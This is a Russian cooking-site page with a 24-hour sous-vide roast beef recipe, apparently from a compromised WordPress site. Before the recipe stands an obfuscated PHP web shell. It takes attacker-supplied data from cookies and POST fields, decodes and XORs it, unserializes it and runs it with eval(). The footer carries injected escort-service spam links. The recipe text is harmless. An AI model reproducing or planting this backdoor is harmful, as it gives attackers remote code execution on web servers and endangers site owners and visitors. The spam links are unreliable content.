$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Ростбиф за 24 часа • Meat Review

Ростбиф за 24 часа

Перейти в режим чтения
Распечатать
0 0
Ростбиф за 24 часа

Поделиться в социальных сетях

Вы можете скопировать ссылку

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Готовим ростбиф в sous-vide

  • 24H
  • Порций 6
  • Легко

Инструкция

Поделиться

 

Сегодня в эфире большой кусок говядины. Взят прекрасный кусок толстого края, без кости, где то на полтора килограмма. Толщина 8 см.
Задача стояла: проверить длительное приготовление большого куска. Мясо приправлено только солью и перцем + 30 гр. топленого масла, вакуум и на 24 час в воду при 58С.
После чего, не вынимая из пакета, быстро охладил в ледяной воде и оставил в холодильнике на несколько часов, для того чтобы мясо пропиталось своим соком и отдохнуло.
Перед употреблением кусок был обжарен в духовке под грилем на максимальной температуре до появления красивой корочки, где то по полторы минуты на стороне.

Что дает такой немалый срок варки? За это время коллаген медленно растворяется, не стягиваясь, не выдавливая сок и насыщает мясо своим вкусом. А так же размягчает волокнистые ткани, разрушая их трубчатость и создает прекрасную структуру, что хорошо видно на снимке.
Мясо, именно – таяло во рту, сохранив аромат и сочность.
В принципе, можно назвать этот кусок ростбифом. В утилитарном плане: очень удобно приготовить большой кусок хорошей (кстати, можно и не очень) говядины заранее, и держать его в вакууме в холодильнике до 2 недель, в надежде, что нагрянет толпа друзей и тут: РАЗ! а вам только пару минут обжарить мясо до товарного вида.

24-2

Мне очень понравилось холодным.
¡Buen provecho!

(Visited 4 405 times, 1 visits today)

Stanislav

обратно
Куриная грудка
далее
Говядина холодного копчения
обратно
Куриная грудка
далее
Говядина холодного копчения

Похожие рецепты

    There are no comments yet

    × You need to log in to enter the discussion

      MeatReview.com | © 2010–2021 ALL RIGHTS RESERVED | TERMS AND CONDITIONS | CONTACT US

      escort Muğla
      Aydın Escort bayan
      Çanakkale Escort
      escort bayan balıkesir

      Site is using a trial version of the theme. Please enter your purchase code in theme settings to activate it or purchase this wordpress theme here

      By continuing to use the site, you agree to the use of cookies. more information

      The cookie settings on this website are set to "allow cookies" to give you the best browsing experience possible. If you continue to use this website without changing your cookie settings or you click "Accept" below then you are consenting to this.

      Close